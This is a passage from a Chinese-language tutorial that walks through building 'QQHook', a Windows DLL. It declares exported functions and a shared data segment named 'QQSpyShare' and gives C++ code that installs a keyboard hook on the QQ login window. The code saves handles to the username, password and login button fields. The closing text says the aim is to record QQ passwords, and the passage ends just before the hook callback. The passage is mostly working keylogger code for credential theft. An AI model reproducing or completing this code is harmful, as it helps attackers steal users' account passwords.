(五) 创建钩子用的DLL
1. 申明函数
新建一个Win32 Dynamic-Link Library项目,命名为:QQHook。选择空DLL选项,然后在QQHook.h中申明函数:
#define QQHookLIB_API __declspec(dllexport)
//声明要导出的函数
//安装键盘钩子函数
BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
HMODULE hDll,
HWND hLoginWindow,
HWND hUserName,
HWND hUserPwd,
HWND hLoginButton,
DWORD dwCreateWindowProcessID);
2. 申明共享数据段以及导出函数
选“新建文件Text File”,文件名称处输入QQHook.def,然后添加如下代码:
EXPORTS
SetKeyBoardHook
SECTIONS
QQSpyShare Read Write Shared
这样SetKeyBoardHook函数即为导出函数了,可以在别的项目中被调用。
3. DLL主要代码
接下来在QQHook.cpp文件中添加如下代码:
//共享数据段,注意要初始化
#pragma data_seg("QQSpyShare")
HWND g_hLoginWindowWnd = NULL; //QQ主窗口句柄
HHOOK g_hMessageHook = NULL; //消息钩子句柄
HHOOK g_hKeyBoardHook = NULL; //键盘钩子句柄
HWND hQQLoginUserName = NULL;
HWND hQQLoginUserPwd = NULL;
HWND hQQLoginButton = NULL;
#pragma data_seg()
//安装键盘钩子函数
BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
HMODULE hDll,
HWND hLoginWindow,
HWND hUserName,
HWND hUserPwd,
HWND hLoginButton,
DWORD dwCreateWindowProcessID)
{
BOOL bResult;
if(bInstall)
{
//保存用户名的句柄
hQQLoginUserName = hUserName;
//保存密码的句柄
hQQLoginUserPwd = hUserPwd;
//保存登陆QQ按钮的句柄
hQQLoginButton = hLoginButton;
//保存登陆窗口的句柄
g_hLoginWindowWnd = hLoginWindow;
//登陆窗口的主线程,安装钩子的时候要用
DWORD dwCreateLoginWindowThreadId;
dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);
//在登陆窗口主线程上安装钩子
g_hKeyBoardHook = SetWindowsHookEx(
WH_KEYBOARD, //安装键盘钩子
(HOOKPROC)KeyBoardProc, //键盘钩子回调函数
hDll, //QQHook.dll模块句柄
dwCreateLoginWindowThreadId); //登陆窗口的主线程
if(g_hKeyBoardHook == NULL)
{
printf("键盘钩子安装失败!");
return FALSE;
}
else
{
printf("键盘钩子安装成功了!");
return TRUE;
}
}
else
{
//卸载钩子
bResult = UnhookWindowsHookEx(g_hKeyBoardHook);
if(bResult == TRUE)
{
printf("键盘钩子卸载成功!");
return TRUE;
}
else
{
printf("键盘钩子卸载失败!");
return FALSE;
}
}
return TRUE;
}
以上代码的作用是在登陆窗口的主线程上安装钩子,这样当在QQ登陆窗口中有键盘输入的时候,就会执行回调函数里的代码。只要我们在键盘钩子回调函数中将得到的按键信息进行信息,即可将QQ密码记录下来。以下为键盘钩子回调函数代码: